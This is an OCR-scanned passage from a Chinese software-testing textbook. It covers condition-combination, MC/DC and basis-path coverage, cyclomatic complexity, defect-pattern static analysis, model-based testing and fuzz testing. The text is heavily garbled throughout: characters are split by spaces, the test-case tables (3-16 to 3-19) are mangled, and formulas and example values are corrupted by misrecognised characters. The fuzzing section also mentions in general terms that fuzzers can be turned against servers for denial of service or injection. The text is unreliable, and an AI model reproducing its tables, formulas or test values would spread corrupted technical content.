输入 : a 一 一 1,b 一 一 2,c 一 一 3 
a F1,F2,F3,F4 P4(1-3-5) 4,8 


在 表 3-15 中 引入 了 路 径 的 概念 , 即 程序 执行 经 过 的 程序 流程 图 的 轨迹 。 由 流程 图 3-5(b) 
可 以 知道 ,该 程序 模块 有 4 条 不 同 的 路 径 : 

P1: (1-2-4) 即 M= .T. 且 N= .T. 

P2: (1-2-5) 即 M= .T. 且 N= .F. 

P3: (1-3-4) 即 M= .F. 且 = .T. 

P4: (1-3-5) 即 M= .F. 且 N= .F. 

这 样 根据 每 个 测试 用 例 所 经 历 的 程序 代码 ,就 能 确定 其 覆盖 的 路 径 P1、P3 和 P4, 但 
P2(1-2-5) 没 有 被 覆盖 。 这 也 说 明 对 于 最 强 的 逻辑 覆盖 一 一 条 件 组 合 覆 盖 , 其 测试 也 不 是 非常 
充分 的 ,所 以 ,更 充分 的 测试 ,不 仅 要 求 覆盖 各 个 条 件 和 各 个 判定 ,而 且 还 能 覆盖 基本 路 径 。 即 
使 这 样 ,也 不 够 充分 ,还 需要 考虑 输入 数据 域 数据 流 控制 。 例 如 ,在 上 面 的 代码 中 ,对 a、b、 
c 取 值 则 要 考虑 边界 条 件 , 而 且 要 考虑 对 测试 结果 产生 的 影响 ,例如 ,从 边界 条 件 看 ,b 需要 
取 0、 一 0.1 和 0.1, 但 从 最 后 语句 (c= 二 c 十 b) 来 看 ,b 最 好 不 取 零 ,从 而 能 够 观察 b 值 对 c 值 


的 影响 。 

但 如 果 进 一 步 仔细 分 析 , 可 能 会 觉得 条 件 组 合 测试 有 些 浪费 ,例如 ,选择 表 3-14 第 3.4 行 
来 分 析 ,固定 第 一 个 条 件 ( 因 为 都 是 F1) ,改变 第 2 个 条 件 ( 即 取 不 同 的 值 T2、F2) ,其 结果 不 受 
影响 ,这 样 的 测试 就 没有 意义 。 反 过 来 , 像 表 3-14 第 1.2 行 ,固定 第 一 个 条 件 ( 因 为 都 是 T1)， 
改变 第 2 个 条 件 ( 即 取 不 同 的 值 T2、F2), 其 结果 不 一 样 ,这 样 的 测试 才 有 价值 。 同 样 , 第 5、6 
行 放 在 一 起 测试 没 意 义 ,而 7、8 行 放 在 一 起 测试 有 价值 。 概 括 起 来 ,对 表 3-11 进行 优化 ,每 一 
逻辑 运算 (AND 或 OR) 其 必要 的 测试 包含 三 组 ,如 表 3-16 所 示 。 这 就 引出 修改 的 条 件 /判定 
覆盖 (Modified Condition/Decision Coverage,MC/DC) ,MC/DC 测试 覆盖 要 求 如 下 。 

(1) 每 一 个 判断 的 所 有 可 能 结果 都 出 现 过 ; 

(2) 每 一 个 判断 中 所 有 条 件 的 取 值 都 出 现 过 ; 

(3) 每 一 个 进入 点 及 结束 点 都 执行 过 ; 

(4) 判断 中 每 一 个 条 件 都 可 以 独立 地 影响 判断 的 结果 。 

航空 软件 质量 标准 DO-178C 中 指定 会 影响 飞机 起 飞 及 降落 安全 性 的 软件 (A 等 级 软件 ) 
需 满足 MC/DC。 


表 3-16 必要 的 测试 条 件 组 合 


AND 关 系 OR 关系 


(DT nd TT (OD 
(2) .T. and .F.—.F. Eo TT 
(3) .F. and .T.—.F. (3) .F. or .F.—.F. 


3.4.5 基本 路 径 覆 盖 


顾名思义 ,基本 路 径 覆盖 就 是 设计 所 有 的 测试 用 例 ,来 覆盖 程序 中 的 所 有 可 能 的 、 独 立 的 
执行 路 径 。 根 据 3. 4. 4 节 讨 论 , 也 就 是 调整 表 3-15 中 第 2、3 个 测试 用 例 ,使 测试 不 仅 覆 盖 路 
径 P3(1-3-4) ,而 且 能 够 覆盖 路 径 P2(1-2-5) ,这 样 就 可 以 完全 覆盖 路 径 Pl1、P2、P3 和 P4。 例 
如 ,调整 第 2 个 测试 用 例 后 ,就 能 覆盖 P2(1-2-5) ,如 表 3-17 所 示 , 但 不 能 保证 覆盖 所 有 的 条 件 
组 合 ( 如 组 合 2、6)。 


表 3-17 基本 路 径 覆 盖 的 测试 用 例 


测试 用 例 覆盖 路 径 覆盖 条 件 覆盖 组 合 

el P1(1-2-4) Ts TTT 1,5 
输出 , a=2,b=1,c=5 办 
be P2(1-2-5) T1,T2,F3,F4 1,8 
输出 : a=1,b=1,c= 一 2 Ce 四 
输入 : a= 一 1,b=2,c=3 

P3(1-3-4) F1,T2,F3,T4 3,7 
输出 : a= 一 1,b=2,c=6 
输入 : a= 一 1,b= 一 2,c= 一 3 

P4(1-3-5) F1,F2,F3,F4 4,8 
输出 : a= 一 1,b= 一 2,c= 一 5 


通过 前 面 的 例子 可 以 看 到 ,采用 其 中 任何 一 种 方法 都 不 能 完全 覆盖 所 有 的 测试 用 例 , 因 
此 ,在 实际 的 测试 用 例 设 计 过 程 中 ,可 以 根据 需要 和 不 同 的 测试 用 例 设 计 特 征 , 将 不 同 的 设计 
方法 组 合 起 来 ,交叉 使 用 ,以 达到 最 高 的 覆盖 率 。 


采用 条 件 组 合 和 路 径 覆 盖 两 种 方法 的 结合 来 重新 设计 测试 用 例 , 如 表 3-18 所 示 ,也 就 是 
在 表 3-15 或 表 3-17 基础 上 增加 一 个 用 例 , 通 过 共 5 个 测试 用 例 就 能 覆盖 各 种 情况 ,包括 条 件 、 
判定 、 条 件 组 合 、 路 径 等 ,使 程序 得 到 完全 的 测试 。 


表 3-18 完全 覆盖 的 测试 用 例 


测试 用 例 覆盖 路 径 覆盖 条 件 覆盖 组 合 
Ae ob toe P1(1-2-4) TlT2,T3,T4 和 
输出 : a=2,b=1,c=5 
输入 : a=1,b=1,c== 一 3 
Ds P2(1-2-5) TI1,T2,F3,F4 1,8 
ed P3(1-3-4) T1,F2,T3,F4 2,6 
输出 : a=2,b= 一 1,c= 一 2 
输入 : a= 一 1,b=2,c=3 
a P301-3-4) F1,T2,F3,T4 337 
We P4(1-3-5) F1,F2,F3,F4 4,8 
输出 ; a= 一 1,b= 一 2,c= 一 5 


基本 路 径 覆 盖 的 前 提 就 是 知道 有 多 少 条 基本 路 径 ,对 于 简单 程序 ,通过 直接 观察 就 能 掌 
握 ,但 对 于 复杂 的 应 用 程序 就 很 难 了 。 基 本 路 径 测 试 法 是 在 程序 控制 流 图 的 基础 上 ,通过 分 析 
控制 构造 的 环 路 复杂 性 ,导出 基本 可 执行 路 径 集合 ,从 而 设计 测试 用 例 的 方法 。 设 计 出 的 测试 
用 例 要 保证 被 测试 程序 的 每 个 可 执行 语句 至 少 被 执行 一 次 。 基 本 路 径 测 试 法 通过 以 下 几 个 基 
本 步骤 来 实现 。 

(1) 程序 的 流程 图 。 程 序 流程 控制 图 是 描述 程序 控制 流 的 一 种 图 示 方 法 ,可 以 用 如 图 3-6 
所 示 基 本 图 元 (顺序 、 分 支 , 循 环 等 ) 来 描述 任何 程序 结构 。 图 3-5 可 以 转化 为 如 图 3-7 所 示 的 


程序 流程 图 。 
_ 节点 一 -判断 节点 - 
顺序 


If-then-else 


Case 
< Do-until 


Do-while 
图 3-6 程序 流程 的 基本 图 元 


(2) 计算 程序 环 路 复杂 度 。 通 过 对 程序 的 控制 流程 图 的 分 析 和 判断 来 计算 模块 复杂 性 ， 
从 程序 的 环 路 复杂 性 可 导出 程序 基本 路 径 集合 中 的 独立 路 径 条 数 。 环 路 复杂 性 可 以 用 V(G) 
来 表示 ,其 计算 方法 有 : 

QV(G)= 区 域 数目 。 区 域 是 由 边界 和 节点 包围 起 来 的 形状 所 构成 ,计算 区 域 时 应 包括 
图 的 外 部 区 域 ,将 其 作为 一 个 区 域 。 图 3-7 的 区 域 数目 是 3, 也 就 是 有 三 条 基本 路 径 。 

Q@ V(G) = 边界 数目 一 节点 数目 十 2。 按 此 计算 ,图 3-7 结果 也 是 3( 即 6 一 5 十 2) 。 


QQ V(G) 王 判断 节点 数目 二 1。 如 图 3-7 中 ,判断 节点 有 A、 
C, 则 V(G) = 2 十 1= 3。 

(3) 确定 基本 路 径 。 通 过 程序 流程 图 的 基本 路 径 来 导出 基本 
的 程序 路 径 的 集合 。 通 过 上 面 的 分 析 和 计算 .知道 如 图 3-7 所 示 
程序 有 三 条 基本 路 径 ,下 面 给 出 一 组 基本 路 径 。 在 一 个 基本 路 径 
集合 里 ,每 条 路 径 是 唯一 的 。 但 基本 路 径 组 (集合 ) 不 是 唯一 的 ， 
还 可 以 给 出 男 外 两 组 基本 路 径 。 

站 一 一 五 图 3-7 程序 流程 图 示例 

A—B—C—E 

A 一 B 一 C 一 D 一 E 

(4) 准备 测试 用 例 ,确保 基本 路 径 组 中 的 每 一 条 路 径 被 执行 一 次 。 

@ a= 一 1,b 一 一 2,c 一 一 3 可 以 覆盖 路 径 A 一 C 一 E。 

@ a=1,b==1,c== 一 3 可 以 覆盖 路 径 A 一 B 一 C 一 E。 

@ a=2,b=1,c=6 可 以 覆盖 路 径 A 一 B 一 C 一 D 一 E。 


3.5 ”基于 缺陷 模式 的 测试 


如 果 过 去 我 们 犯 了 不 少 错误 ( 即 产生 软件 缺陷 ), 自 然 会 想 从 中 吸取 教训 ,对 过 去 所 发 现 的 
各 种 具体 缺陷 进行 归纳 整理 ,抽象 出 共性 ,生成 缺陷 模式 ,然后 基于 这 种 模式 去 预防 问题 ,也 可 
以 用 这 种 模式 来 检查 被 测试 对 象 ,看 是 否 有 相互 匹配 的 问题 。 在 软件 测试 中 ,如 果 知 道 其 缺陷 
模式 ,就 可 以 根据 缺陷 模式 进行 匹配 ,然后 发 现 类 似 的 问题 ,这 就 是 基于 缺陷 模式 的 测试 
(Defect-Pattern-Based Testing,DPBT) 。 错 误 猜 测 法 主要 是 根据 测试 人 自己 的 经 验 , 按 照常 
见 的 问题 进行 探测 性 的 测试 ,一 般 属于 手工 测试 。 如 果 将 常见 的 缺陷 模式 固化 到 测试 工具 中 ， 
然后 就 可 通过 工具 进行 静态 分 析 以 完成 测试 。 如 果 是 针对 代码 缺陷 模式 的 测试 工具 ,就 可 以 
用 工具 对 代码 进行 扫描 以 完成 测试 ,许多 静态 测试 工具 ,如 FindBugs、flawfinder、Klocwork 
Insight、Fortify Static Code Analyzer 等 ,都 是 基于 缺陷 模式 实现 的 。 

如 果 检 测算 法 是 完全 的 , 则 能 够 从 软件 中 排除 该 类 模型 。 例 如 ,在 内 存 为 1GB、CPU 为 
1.8GHz 的 PC 上 ,FindBugs 对 J2SE 中 的 rt. jar 分 析 , 该 程序 包 有 13 083 个 类 , 约 40MB 大 
小 ,所 耗 时 间 只 需 45min。 基 于 缺陷 模式 的 测试 方法 具有 测试 效率 高 ,对 逻辑 复杂 故障 测试 效 
果 好 等 特点 ,并 且 比 较 容 易 实 现 自动 化 测试 。 采 用 工具 进行 检验 ,能 够 发 现 其 他 测试 方法 所 不 
能 发 现 的 软件 故障 和 安全 隐患 ,而且 只 要 建立 规则 而 不 需要 开发 测试 脚本 ,测试 的 投入 低 . 产 
出 高 ,应 用 效果 良好 ,但 也 要 看 到 其 不 足 之 处 。 

(1) 误 报 问题 。 误 报 问题 是 基于 缺陷 模式 的 软件 测试 技术 的 一 个 共性 问题 。 通 常 基于 缺 
陷 模 式 的 软件 测试 技术 都 属于 静态 分 析 技术 ,由 于 某 些 故障 的 确定 需要 动态 地 执行 信息 ,因此 
对 于 基于 静态 分 析 的 工具 来 说 , 误 报 问 题 是 不 可 避免 的 。 故 障 的 最 后 确认 一 般 需 要 人 工分 析 ， 
如 果 误 报 过 多 ,确认 的 工作 量 就 可 能 过 大 而 无 法 忍受 。 为 此 ,将 动态 测试 与 静态 测试 有 机 结合 
来 解决 误 报 问题 。 

(2) 漏 报 问题 。 漏 报 问题 主要 由 缺陷 模式 定义 和 模式 检测 算法 引起 。 目 前 对 于 软件 缺陷 
模式 没有 一 个 规范 的 、 统 一 的 和 形式 化 的 定义 。 不 同 的 故障 查找 工具 都 给 出 自己 所 能 检测 的 
缺陷 模式 的 定义 ,但 是 这 些 定义 很 多 都 是 一 些 自然 语言 的 描述 ,有 的 甚至 只 是 给 出 一 个 简单 的 


例子 进行 说 明 。 同 时 ,针对 具体 的 软件 缺陷 模式 ,不 同 的 检测 工具 一 般 设 计 自己 的 检测 算法 ， 
从 检测 的 效率 和 实现 的 复杂 性 上 考虑 ,不 同 的 算法 给 出 不 同 的 假设 以 降低 计算 复杂 性 ,这 导致 
对 于 相同 的 模型 ,用 不 同 的 工具 进行 检测 得 到 的 缺陷 结果 集合 很 大 不 同 。 参 考 文献 11 使 用 一 
些 常 用 的 Java 程序 故障 自动 分 析 工 具 对 同一 个 软件 进行 测试 ,发 现 不 同 的 工具 得 到 的 检测 结 
果 集 (故障 集 ) 差 别 较 大 。 

(3) 模式 机 理 。 由 于 编程 过 程 中 ,程序 员 具 有 较 强 的 个 体 性 ,因此 缺陷 模式 是 多 种 多 样 
的 。 通 常 软件 中 的 故障 主要 来 源 于 程序 员 , 如 错误 的 理解 造成 的 ,二 义 性 造成 的 、 疏 忽 造 成 的 
和 遗漏 造成 的 。 


3.5.1 常见 的 缺陷 模式 


大 量 的 测试 数据 统计 分 析 可 以 发 现 有 些 软件 缺陷 是 具有 共性 的 ,所 以 总 结 了 常见 的 一 些 
缺陷 模式 ,例如 ,内 存 泄漏 缺陷 模式 非法 指针 引用 缺陷 模式 。 其 实 , 导 致 程序 员 犯 错 的 因素 很 
多 ,有 程序 员 本 身 的 编程 水 平 、 习 惯 以 及 所 属 团队 软件 工程 管理 水 平等 ,编程 语言 及 其 相关 类 
库 的 有 些 难 以 理解 的 特性 也 是 一 个 比较 重要 的 原因 。 

(1) 故障 模式 。 即 常见 的 软件 故障 ,如 内 存 泄漏 .使 用 空 指针 、 数 组 越界 ,非法 计算 、 使 用 
未 初始 化 变量 ,不 完备 的 构造 函数 以 及 操作 符 异常 等 。 

(2) 安全 漏洞 模式 。 即 为 他 人 攻击 系统 提供 可 能 ,而 一 旦 攻击 者 得 手 ,系统 就 可 能 发 生 瘫 
痪 ,所 造成 的 危害 可 能 更 大 ,因此 ,此 类 漏洞 应 当 尽量 避免 ,如 缓冲 区 溢出 漏洞 模式 ,被 感染 数 
据 漏洞 模式 、 竞 争 条 件 漏洞 模式 以 及 风险 操作 随机 数 漏洞 模式 等 。 

(3) 差 性 能 模式 。 该 模式 在 软件 动态 运行 时 效率 比较 低下 ,因此 建议 采用 更 高 效 的 代码 
来 完成 同样 的 功能 。 这 类 模式 主要 包括 调用 了 不 必要 的 基本 类 型 包装 类 的 构造 方法 、 空 字符 
串 的 比较 ,复制 字符 串 ,. 未 声明 为 static 的 内 部 类 、 参 数 为 常数 的 数学 方法 、 创 建 不 必要 的 对 象 
以 及 声明 未 使 用 的 属性 及 方法 等 。 

(4) 并 发 缺陷 模式 。 该 模式 主要 针对 程序 员 对 多 线程 Java 虚拟 机 的 工作 机 制 不 了 解 引 
起 的 问题 ,以 及 由 于 线程 启动 的 任意 性 和 不 确定 性 使 用 户 无 法 确定 所 编写 的 代码 具体 何 时 执 
行 而 导致 对 公共 区 域 的 错误 使 用 ,如 死 锁 等 。 

(5) 不 良 习惯 模式 。 该 模式 主要 是 由 于 程序 员 编 写 代码 的 不 好 习惯 造成 的 一 些 错 误 。 包 
括 文件 的 空 输入 ,垃圾 回收 的 问题 ,以 及 类 方法 和 域 的 命名 问题 ,方法 调用 ,对 象 序列 化 , 域 初 
始 化 ,参数 传递 和 代码 安全 性 问题 等 。 

(6) 代码 国际 化 模式 。 该 模式 主要 是 在 语言 进行 国际 化 的 过 程 中 ,可 能 造成 本 地 设置 和 
程序 需求 不 符 的 情况 ,造成 匹配 错误 。 

(7) 易 诱骗 代码 模式 。 该 模式 主要 指 代码 中 容易 引起 歧义 的 ,迷惑 人 的 编写 方式 。 比 如 
无 意义 的 比较 ,永远 是 真 值 的 判断 ,条 件 分 支 使 用 相同 的 代码 ,声明 了 却 未 使 用 的 域 等 , 即 那些 
混淆 视听 ,无 法 正常 判断 程序 的 真正 意图 的 代码 。 


3.5.2 DPBT 的 测试 过 程 


测试 过 程 从 源 代码 输入 开始 ,经 历 预 编译 、 词 法 分 析 、 语 法 分 析 与 语义 处 理 ,抽象 语 法 树 生 
成 ,控制 流 图 生成 和 IP(Illegal Pattern, 非 法 模式 ) 扫 描 等 几 个 步骤 ,最 后 自动 生成 IP 报表。 

(1) 预 处 理 。 由 于 源 程 序 中 存在 宏 定义 、 文 件 包 含 和 条 件 编译 等 预 处 理 命令 ,因此 在 进行 
词法 分 析 前 必须 进行 预 编译 ,将 宏 进行 展开 ,这 样 有 利于 变量 的 查找 。 


(2) 词法 分 析 (Lexical Analysis)。 将 预 编译 阶段 产生 的 中 间 代 码 进 行 分 解 ,形成 各 种 符 
号 表 , 为 语法 分 析 做 准备 。 符 号 表 的 结构 主要 有 标识 符 表 、 类 型 表 、 关 键 字 表 、 常 数 表 、 运 算 符 
表 和 分 界 符 表 。 

(3) 语法 分 析 (Parsing) 和 语义 处 理 (SemanticAnalysis) 。 这 一 步 主 要 是 将 输入 字符 串 识 
别 为 单词 符号 流 , 并 按照 标准 的 语法 规则 ,对 源 程序 做 进一步 分 析 , 区 分 出 变量 定义 、 赋 值 语 
句 、 函 数 等 。 语 法 分 析 的 结果 是 生成 语法 树 ,并 提供 对 外 的 接口 。 此 外 ,通过 语法 树 可 以 生成 
程序 的 控制 流 图 和 变量 的 定义 使 用 链 ,为 下 一 步 的 故障 查找 做 准备 。 

(4) 抽象 语法 树 生成 。 语 法 分 析 和 语义 处 理 之 后 生成 抽象 语法 树 , 源 程序 中 的 所 有 语句 
都 作为 抽象 语法 树 的 节点 。 抽 象 语法 树 是 后 续 操 作 的 基础 ,含有 后 续 处 理 所 需 的 各 种 信息 ,如 
语句 类 型 变量 名 称 及 类 型 等 。 

(5) 控制 流 图 生成 。 在 抽象 语法 树 的 基础 上 生成 控制 流 图 ,描绘 程序 结构 。 生 成 的 控制 
流 图 必须 反映 源 程序 的 结构 。 

(6) IP 扫描 。IP 扫描 是 测试 过 程 的 关键 步骤 ,首先 定义 测试 模型 ,然后 在 控制 流 图 上 遍 
历 对 测试 模型 进行 匹配 ,从 而 生成 IP 报表。 工具 所 能 检测 的 故障 的 集合 取决 于 定义 的 测试 模 
型 集合 。 

(7) 人 工 确认 。 由 于 误 报 的 存在 ,因此 需要 对 生成 的 IP 进行 人 工 确认 。 


3.6 基于 模型 的 测试 


模型 是 对 系统 的 抽象 ,是 对 被 测 系统 预期 行为 动作 的 抽象 描述 ,实际 上 就 是 用 语言 把 一 个 
系统 的 行为 描述 出 来 ,定义 系统 的 各 种 状态 及 其 之 间 的 转换 关系 ,例如 随机 模型 . 贝 叶 斯 图 解 
模型 \ 有 限 状 态 模 型 等 。 基 于 模型 的 测试 (Model-Based Testing,MBT) 是 利用 模型 来 生成 相 
应 的 测试 用 例 , 然 后 根据 实际 结果 和 原先 预想 的 结果 的 差异 来 测试 系统 ,如 图 3-8 所 示 。 基 于 
模型 的 测试 ,先是 从 概念 上 形成 模型 ,然后 试图 用 数学 的 方法 来 描述 这 个 模型 ,逐渐 实现 这 个 
模型 ,形成 仿真 模型 ,完成 所 需 的 测试 。 基 于 模型 的 测试 ,往往 不 是 直接 针对 被 测 系统 
(System Under Test,SUT) 进 行 ,而 是 根据 算法 、 规 则 ,针对 源 代码 进行 检测 。 
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| (测试 序列 ) ( 仙 试 戎 加 | 一 一 六 定 @ 贫 ， 
1 
nh 回 1 
控制 加 观察 本 | 
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3-8 基于 模型 测试 的 示意 图 


基于 模型 的 软件 测试 技术 不 能 替代 已 有 的 其 他 测试 技术 ,而 是 对 其 他 测试 技术 一 个 有 力 
的 补充 。 基 于 模型 的 软件 测试 技术 已 应 用 于 通信 协议 测试 .API 测试 等 ,微软 研究 院 用 C# 开 
发 了 相应 的 工具 一 一 Spec Explorer, 如 图 3-9 所 示 , 它 还 能 与 Visual Studio 集成 在 一 起 。 


官方 网 站 : http://msdn. microsoft. com/en-us/devlabs/ee692301. aspx 
Spec Explorer 团队 博客 : http://blogs. msdn. com/sechina/ 
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图 3-9 微软 的 测试 建 模 工 具 Spec Explorer 主要 界面 


3.6.1 功能 图 法 


一 个 程序 的 功能 通常 由 静态 说 明和 动态 说 明 组 成 ,动态 说 明 描述 了 输入 数据 的 次 序 或 者 
转换 的 次 序 ; 静态 说 明 描述 了 输入 条 件 和 输出 条 件 之 间 的 对 应 关系 。 对 于 比较 复杂 的 程序 ， 
由 于 大 量 的 组 合 情 况 的 存在 ,如 果 仅 使 用 静态 说 明 来 组 织 测试 往往 是 不 够 的 ,必须 通过 动态 说 
明 来 补充 测试 。 功 能 图 法 就 是 因此 而 产生 的 一 种 测试 用 例 设计 方法 。 

功能 图 法 就 是 使 用 功能 图 形式 化 地 表示 程序 的 功能 说 明 , 并 机 械 地 生成 功能 图 的 测试 用 
例 。 功 能 图 模型 由 状态 迁移 图 和 逮 辑 功能 模型 组 成 。 

(1) 状态 迁移 图 用 于 表示 输入 数据 序列 以 及 相应 的 输出 数据 ,由 输入 和 当前 的 状态 决定 
输出 数据 和 后 续 状 态 。 

(2) 逻辑 功能 模型 用 于 表示 在 状态 输入 条 件 和 输出 条 件 之 间 的 对 应 关系 。 逻 辑 功能 模型 
只 适合 于 描述 静态 说 明 ,输出 数据 仅 由 输入 数据 决定 。 

测试 用 例 需 要 覆盖 一 系列 的 系统 状态 ,并 依靠 输入 输出 数据 满足 的 一 对 条 件 来 触发 每 个 
状态 的 发 生 。 举 个 例子 来 说 明 ,假设 进行 Windows 的 屏幕 保护 程序 测试 (有 密码 保护 功能 )， 
图 3-10、 图 3-11 和 表 3-19 分 别 呈 现 了 程序 流程 图 ,状态 迁移 图 以 及 对 应 的 逻辑 功能 表 。 
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图 3-10 程序 流程 图 


Esc 键 按 下 正确 的 密码 输入 


~、 


和 


图 3-11 状态 迁移 图 


表 3-19 逻辑 功能 表 
Esc 键 按 下 1 
其 他 键 按 下 LE 
Wn 正确 的 密码 输入 13 
错误 的 密码 输入 HM 
输出 显示 密码 输入 框 O1 
密码 错误 提示 信息 O2 
空闲 状态 Sl 
状态 等 待 输入 密码 S2 
返回 空闲 状态 S3 
初始 化 屏幕 S4 
接 下 来 ,需要 利用 功能 图 来 生成 测试 用 例 , 从 人 逻辑 功能 表 中 ,可 以 根据 所 有 的 输入 输出 以 


及 状态 来 生成 所 需要 的 节点 和 路 径 ,形成 实现 功能 图 的 基本 路 径 组 合 。 这 样 ,就 可 以 使 


3.4.5 节 介绍 的 基本 路 径 覆 盖 法 来 设计 测试 用 例 。 
3.6.2 模糊 测试 方法 


模糊 测试 (Fuzz testing) 方 法 ,简单 地 说 ,就 是 通过 一 个 自动 产生 数据 的 模板 或 框架 ( 称 为 
模糊 器 ) 来 构造 或 自动 产生 大 量 的 .具有 一 定 随机 人 性 的 数据 作为 系统 的 输入 ,从 而 检验 系统 在 
各 种 数据 情况 下 是 否 会 出 现 问 题 。 例 如 ,在 键盘 或 鼠标 大 量 随 机 输入 的 情况 下 ,早期 的 
Windows NT 4.0 有 21% 的 程序 会 崩溃 ,还 有 24% 的 程序 会 挂 起 。 

模糊 测试 方法 在 1989 年 由 威斯康星 州 的 麦迪 逊 大 学 的 Barton Miller 教授 提出 ,他 的 实 
验 内 容 是 开发 一 个 基本 的 命令 行 模糊 器 以 测试 UNIX 程序 。 这 个 模糊 器 可 以 用 随机 数据 来 
“ 秦 炸 ”这 些 测试 程序 直至 其 崩 演 。 早 期 的 模糊 测试 工具 是 1991 年 发 布 的 crashme, 其 主要 功 


能 是 让 UNIX 系统 去 执行 随机 机 器 指令 以 测试 这 些 系 统 的 健壮 性 。 这 方面 的 论文 从 1990 年 
开始 陆续 发 表 , 可 以 参考 网 站 http://www. cs. wisc. edu/ 一 bartyfuzz/fuzz. html, 但 以 前 应 
不 多 ,而 当 互 联网 应 用 越 来 越 广泛 时 ,软件 系统 的 安全 性 成 为 人 们 关注 的 焦点 ,模糊 测试 方法 
又 重新 得 到 重视 。 

模糊 测试 方法 可 以 模拟 黑客 来 对 系统 发 动 攻 击 测试 ,在 安全 性 测试 上 发 挥 作用 之 外 ,还 可 
以 用 于 对 服务 器 的 容错 性 测试 。 模 糊 测 试 方法 缺乏 严密 的 逻辑 ,不 去 推导 哪个 数据 会 造成 系 
统 破坏 ,而 是 设 定 一 些 基 本 框架 ,在 这 个 框架 内 产生 尽 可 能 多 的 杂乱 数据 进行 测试 ,发 现 一 些 
意 想不到 的 系统 缺陷 。 由 于 要 产生 大 量 数 据 , 模 糊 测 试 方法 一 般 不 能 通过 手工 测试 ,而 是 通过 
工具 来 自动 执行 。 模 糊 测 试 工具 的 工作 过 程 比较 简单 , 即 经 过 下 列 4 个 步 又。 

(1) 测试 工具 通过 随机 或 是 半 随 机 的 方式 生成 大 量 数据 ; 

(2) 测试 工具 将 生成 的 数据 发 送 给 被 测试 的 系统 (输入 ); 

(3) 测试 工具 检测 被 测 系统 的 状态 (如 是 否 能 够 响应 ,响应 是 否 正 确 等 ); 

(4) 根据 被 测 系统 的 状态 判断 是 否 存 在 潜在 的 安全 漏洞 。 

模糊 测试 的 工具 有 SPIKE, Sulley、 COMRaider、 iDbg、 WebFuzz、 ProtoFuzz、 DFUZ (www. 
genexx. org/dfuz) 等 ,更 多 的 工具 请 参考 www. fuzzing. org。 

模糊 测试 工具 的 核心 就 是 所 构造 的 模糊 器 。 模 糊 器 一 般 分 为 以 下 两 种 。 

(1) 基于 变异 (Mutation-based) 的 模糊 器 ; 

(2) 基于 生成 (Generation-based) 的 模糊 器 。 

例如 ,SPI 模糊 器 是 一 个 简单 但 设计 很 精巧 的 图 形 化 Web 应 用 模糊 器 , 它 向 用 户 提供 了 
对 模糊 测试 所 使 用 的 原始 HTTP 请 求 的 完整 的 控制 。 工 具 可 以 抓 取 到 客户 端 和 服务 器 之 间 
的 通信 数据 ,根据 这 些 数据 分 析出 客户 端 与 服务 器 之 间 的 通信 协议 ,然后 根据 协议 的 定义 , 自 
动 填充 可 变 字段 的 内 容 ,实现 数据 的 变异 ,然后 青 向 服务 器 发 送 这 些 经 过 变异 的 数据 ,尝试 找 
到 可 能 的 漏洞 。 模 糊 测 试 工具 还 可 以 作为 攻击 服务 器 的 武器 ,例如 : 

(1) 发 送 巨 量 的 随机 数据 ,来 进行 服务 器 的 攻击 测试 ,可 能 会 导致 网 站 拒绝 服务 。 

(2) 通过 大 量 随机 测试 ,可 能 会 实现 HTTP 报 文 注入 ,获得 服务 器 的 权限 ,或 导致 服务 器 
的 HTTP 服务 不 可 用 ,可 参考 http://sourceforge. net/projects/taof/。 

可 以 用 下 面 两 个 示例 来 进一步 解释 模糊 测试 方法 。 

【示例 一 】 第 一 个 例子 是 微软 的 字 处 理 软件 Word。 如 果 要 测试 Word 的 容错 性 ,是 不 是 
需要 考虑 创建 各 种 不 同 的 文件 来 验证 ? 例如 ,创建 几 十 万 个 Word 文档 ,而 且 它 们 的 文件 名 、 
大 小 和 内 容 都 不 相同 ,是 随机 的 ,当然 ,这 些 文档 不 能 让 Word 自身 创建 ,而 是 通过 开发 一 个 工 
具 , 将 随机 的 二 进 制 数据 源 输 送 到 某 个 文件 中 来 生成 测试 文档 。 也 可 以 准备 一 份 Word 文件 ， 
用 随机 数据 替换 该 文件 中 的 一 部 分 内 容 , 生 成 新 的 测试 文件 。 也 可 以 将 整个 文件 打 乱 ,而 不 是 
仅 蔡 换 其 中 的 一 部 分 。 总 之 ,产生 大 量 的 ,包含 随机 数据 的 文件 来 对 Word 文件 分 析 器 进行 测 
试 ,其 测试 结果 会 出 现 以 下 三 种 情况 。 

(1) 对 于 大 多 数 测试 文件 ,会 出 现 “ 文 件 格式 无 法 识别 ”或 “文件 已 破坏 而 无 法 打开 ”等 错 
误 提示 。 

(2) 少数 文件 将 会 正常 打开 ,在 几 十 万 个 文档 中 可 能 包含 某 些 可 识别 控件 和 可 打印 字符 
的 组 合 。 

(3) Word 可 能 会 出 错 ,可 能 有 几 个 文件 包含 文件 分 析 程 序 没有 预见 到 的 数据 。 

第 三 种 情况 正 是 模糊 测试 方法 的 价值 ,发现 了 Word 中 的 问题 。 


【示例 二 】 网 络 数据 传输 过 程 中 ,数据 包 可 能 会 丢失 , 源 数据 包 是 正确 的 ,而 服务 器 收 到 
的 数据 包 可 能 是 不 正确 的 数据 包 , 这 时 服务 器 是 否 能 够 抛弃 非法 数据 包 ,就 成 为 服务 器 稳定 性 
的 重要 能 力 之 一 。 在 网 络 环境 中 ,有 很 多 的 网 络 协议 ,包括 TCP/IP.UDP、HTTP、LDAP、 
FTP、SIP.DHCP、DNS、SMB、SMTP 等 。 每 个 协议 实现 都 包括 一 个 针对 来 源 于 网 络 的 数据 包 
的 分 析 程序 ,而 每 个 分 析 程 序 都 可 能 需要 一 些 复杂 的 处 理 逻 辑 , 往 往 会 存在 许多 边界 情况 ,从 
而 使 之 难以 验证 。 这 时 候 , 不 得 不 借助 模糊 测试 方法 。 

例如 ,需要 测试 一 个 HTTP 客户 端 (浏览 器 ) ,可 以 让 客户 端 发 送 由 纯 随 机 数据 构成 的 模 
糊 化 请 求 。 如 果 这 种 方式 效果 不 明显 ,可 以 配置 模糊 测试 参数 或 框架 ,使 用 已 知 有 效 数据 、 故 
意 错误 数据 和 随机 数据 的 组 合 ,而 不 是 用 大 量 纯 随 机 数据 来 测试 该 客户 端 ,以 达到 更 好 的 测试 
效果 。 

在 模糊 化 的 过 程 中 ,测试 数据 会 随 着 对 可 疑 行为 的 进一步 了 解 而 不 断 完 善 。 例 如 ,HTTP 
客户 端 发 出 的 请 求 最 初 包含 随机 数据 ,随后 可 能 会 增加 各 种 已 知 的 有 效 数据 或 错误 数据 来 进 
行 更 深入 的 验证 。 


3.7 形式 化 测试 方法 


